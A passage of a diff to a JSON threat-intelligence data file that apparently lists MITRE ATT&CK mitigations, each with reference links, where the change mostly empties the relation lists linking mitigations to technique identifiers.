"f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "bb25b897-bfc7-4128-839d-52e9764dbfa6", "value": "Inhibit System Recovery Mitigation - T1490" }, @@ -3756,15 +2850,7 @@ "https://attack.mitre.org/mitigations/T1065" ] }, - "related": [ - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe", "value": "Uncommonly Used Port Mitigation - T1065" }, @@ -3777,15 +2863,7 @@ "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml" ] }, - "related": [ - { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", "value": "Pass the Hash Mitigation - T1075" }, @@ -3799,15 +2877,7 @@ "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" ] }, - "related": [ - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6", "value": "Remote Desktop Protocol Mitigation - T1076" }, @@ -3827,15 +2897,7 @@ "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" ] }, - "related": [ - { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5", "value": "NTFS File Attributes Mitigation - T1096" }, @@ -3852,15 +2914,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987", "value": "Permission Groups Discovery Mitigation - T1069" }, @@ -3877,15 +2931,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5", "value": "Windows Admin Shares Mitigation - T1077" }, @@ -3904,15 +2950,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d", "value": "Pass the Ticket Mitigation - T1097" }, @@ -3924,15 +2962,7 @@ "https://attack.mitre.org/mitigations/T1089" ] }, - "related": [ - { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8", "value": "Disabling Security Tools Mitigation - T1089" }, @@ -3944,15 +2974,7 @@ "https://attack.mitre.org/mitigations/T1151" ] }, - "related": [ - { - "dest-uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22", "value": "Space after Filename Mitigation - T1151" }, @@ -3964,22 +2986,7 @@ "https://attack.mitre.org/mitigations/T1214" ] }, - "related": [ - { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55", "value": "Credentials in Registry Mitigation - T1214" }, @@ -3996,15 +3003,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307", "value": "System Time Discovery Mitigation - T1124" }, @@ -4021,15 +3020,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", "value": "Browser Bookmark Discovery Mitigation - T1217" }, @@ -4044,15 +3035,7 @@ "https://attack.mitre.org/mitigations/T1128" ] }, - "related": [ - { - "dest-uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec", "value": "Netsh Helper DLL Mitigation - T1128" }, @@ -4064,15 +3047,7 @@ "https://attack.mitre.org/mitigations/T1219" ] }, - "related": [ - { - "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "af093bc8-7b59-4e2a-9da8-8e839b4c50c6", "value": "Remote Access Tools Mitigation - T1219" }, @@ -4084,15 +3059,7 @@ "https://attack.mitre.org/mitigations/T1133" ] }, - "related": [ - { - "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", "value": "External Remote Services Mitigation - T1133" }, @@ -4106,15 +3073,7 @@ "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" ] }, - "related": [ - { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", "value": "Access Token Manipulation Mitigation - T1134" }, @@ -4131,15 +3090,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21", "value": "Network Share Discovery Mitigation - T1135" }, @@ -4158,15 +3109,7 @@ "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" ] }, - "related": [ - { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74", "value": "Dynamic Data Exchange Mitigation - T1173" }, @@ -4179,22 +3122,7 @@ "https://attack.mitre.org/mitigations/T1146" ] }, - "related": [ - { - "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "d3046a90-580c-4004-8208-66915bc29830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483", "value": "Clear Command History Mitigation - T1146" }, @@ -4207,15 +3135,7 @@ "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" ] }, - "related": [ - { - "dest-uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651", "value": "Password Filter DLL Mitigation - T1174" }, @@ -4227,15 +3147,7 @@ "https://attack.mitre.org/mitigations/T1194" ] }, - "related": [ - { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c861bcb1-946f-450d-ab75-d4e3c1103a56", "value": "Spearphishing via Service Mitigation - T1194" }, @@ -4250,15 +3162,7 @@ "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf" ] }, - "related": [ - { - "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "97d8eadb-0459-4c1d-bf1a-e053bd75df61", "value": "Supply Chain Compromise Mitigation - T1195" }, @@ -4270,15 +3174,7 @@ "https://attack.mitre.org/mitigations/T1166" ] }, - "related": [ - { - "dest-uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19", "value": "Setuid and Setgid Mitigation - T1166" }, @@ -4290,15 +3186,7 @@ "https://attack.mitre.org/mitigations/T1168" ] }, - "related": [ - { - "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e", "value": "Local Job Scheduling Mitigation - T1168" }, @@ -4314,15 +3202,7 @@ "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx" ] }, - "related": [ - { - "dest-uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", "value": "Control Panel Items Mitigation - T1196" }, @@ -4335,15 +3215,7 @@ "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913" ] }, - "related": [ - { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "08e02f67-ea09-4f77-a70b-414963c29fc2", "value": "Compiled HTML File Mitigation - T1223" }, @@ -4356,15 +3228,7 @@ "https://attack.mitre.org/mitigations/T1482" ] }, - "related": [ - { - "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "159b4ee4-8fa1-44a5-b095-2973f3c7e25e", "value": "Domain Trust Discovery Mitigation - T1482" }, @@ -4377,15 +3241,7 @@ "https://www.ready.gov/business/implementation/IT" ] }, - "related": [ - { - "dest-uuid": "0bf78622-e8d2-41da-a857-731472d61a92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "e9362d25-4427-446b-99e8-b8f0c3b86615", "value": "Stored Data Manipulation Mitigation - T1492" }, @@ -4401,22 +3257,7 @@ "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/" ] }, - "related": [ - { - "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "3bd2cf87-1ceb-4317-9aee-3e7dc713261b", "value": "Domain Generation Algorithms Mitigation - T1483" }, @@ -4428,15 +3269,7 @@ "https://attack.mitre.org/mitigations/T1493" ] }, - "related": [ - { - "dest-uuid": "cc1e737c-236c-4e3b-83ba-32039a626ef8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "245075bc-f992-4d89-af8c-834c53d403f4", "value": "Transmitted Data Manipulation Mitigation - T1493" }, @@ -4453,15 +3286,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "337172b1-b003-4034-8a3f-1d89a71da628", "value": "Runtime Data Manipulation Mitigation - T1494" }, @@ -4477,15 +3302,7 @@ "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)" ] }, - "related": [ - { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22", "value": "LLMNR/NBT-NS Poisoning Mitigation - T1171" }, @@ -4512,20 +3329,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "27960489-4e7f-461d-a62a-f5c0cb521e4a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ @@ -4547,20 +3350,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ @@ -4624,6 +3413,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "ba04e672-da86-4e69-aa15-0eca5db25f43", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ @@ -4638,20 +3434,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "tags": [ @@ -4707,15 +3489,7 @@ "https://attack.mitre.org/mitigations/T1104" ] }, - "related": [ - { - "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52", "value": "Multi-Stage Channels Mitigation - T1104" }, @@ -4727,15 +3501,7 @@ "https://attack.mitre.org/mitigations/T1072" ] }, - "related": [ - { - "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930", "value": "Third-party Software Mitigation - T1072" }, @@ -4747,15 +3513,7 @@ "https://attack.mitre.org/mitigations/T1073" ] }, - "related": [ - { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908", "value": "DLL Side-Loading Mitigation - T1073" }, @@ -4768,15 +3526,7 @@ "https://support.apple.com/en-us/HT204005" ] }, - "related": [ - { - "dest-uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "61d02387-351a-453e-a575-160a9abc3e04", "value": "Re-opened Applications Mitigation - T1164" }, @@ -4792,15 +3542,7 @@ "https://technet.microsoft.com/library/cc835085.aspx" ] }, - "related": [ - { - "dest-uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", "value": "SID-History Injection Mitigation - T1178" }, @@ -4812,15 +3554,7 @@ "https://attack.mitre.org/mitigations/T1188" ] }, - "related": [ - { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7", "value": "Multi-hop Proxy Mitigation - T1188" }, @@ -4836,15 +3570,7 @@ "https://en.wikipedia.org/wiki/Control-flow_integrity" ] }, - "related": [ - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0", "value": "Drive-by Compromise Mitigation - T1189" }, @@ -4857,15 +3583,7 @@ "https://attack.mitre.org/mitigations/T1001" ] }, - "related": [ - { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", "value": "Data Obfuscation Mitigation - T1001" }, @@ -4878,15 +3596,7 @@ "https://www.us-cert.gov/ncas/alerts/TA15-314A" ] }, - "related": [ - { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "bcc91b8c-f104-4710-964e-1d5409666736", "value": "Web Shell Mitigation - T1100" }, @@ -4903,15 +3613,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294", "value": "Automated Exfiltration Mitigation - T1020" }, @@ -4924,15 +3626,7 @@ "https://en.wikipedia.org/wiki/IEEE_802.1X" ] }, - "related": [ - { - "dest-uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "54e8722d-2faf-4b1b-93b6-6cbf9551669f", "value": "Hardware Additions Mitigation - T1200" }, @@ -4949,15 +3643,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33", "value": "Data Compressed Mitigation - T1002" }, @@ -4981,15 +3667,7 @@ "https://technet.microsoft.com/library/jj865668.aspx" ] }, - "related": [ - { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a", "value": "Credential Dumping Mitigation - T1003" }, @@ -5068,15 +3746,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", "value": "Network Sniffing Mitigation - T1040" }, @@ -5093,15 +3763,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab", "value": "New Service Mitigation - T1050" }, @@ -5114,15 +3776,7 @@ "https://attack.mitre.org/mitigations/T1008" ] }, - "related": [ - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514", "value": "Fallback Channels Mitigation - T1008" }, @@ -5139,15 +3793,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332", "value": "Binary Padding Mitigation - T1009" }, @@ -5182,15 +3828,7 @@ "https://pages.nist.gov/800-63-3/sp800-63b.html" ] }, - "related": [ - { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c", "value": "Brute Force Mitigation - T1110" }, @@ -5207,15 +3845,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b", "value": "Query Registry Mitigation - T1012" }, @@ -5228,15 +3858,7 @@ "https://attack.mitre.org/mitigations/T1102" ] }, - "related": [ - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97", "value": "Web Service Mitigation - T1102" }, @@ -5376,15 +3998,7 @@ "https://attack.mitre.org/mitigations/T1103" ] }, - "related": [ - { - "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "10571bf2-8073-4edf-a71c-23bad225532e", "value": "AppInit DLLs Mitigation - T1103" }, @@ -5460,13 +4074,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ @@ -5474,20 +4081,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", "tags": [ @@ -5509,13 +4102,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ @@ -5544,20 +4130,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ @@ -5614,13 +4186,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ @@ -5684,13 +4249,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ @@ -5733,13 +4291,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "cabe189c-a0e3-4965-a473-dcff00f17213", "tags": [ @@ -5824,13 +4375,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ @@ -5865,15 +4409,7 @@ "https://attack.mitre.org/mitigations/T1013" ] }, - "related": [ - { - "dest-uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b", "value": "Port Monitors Mitigation - T1013" }, @@ -5907,13 +4443,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0bf78622-e8d2-41da-a857-731472d61a92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ @@ -5935,13 +4464,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "27960489-4e7f-461d-a62a-f5c0cb521e4a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", "tags": [ @@ -5998,13 +4520,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ @@ -6054,13 +4569,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -6075,13 +4583,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "cc1e737c-236c-4e3b-83ba-32039a626ef8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", "tags": [ @@ -6144,13 +4645,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", - "tags": [ - 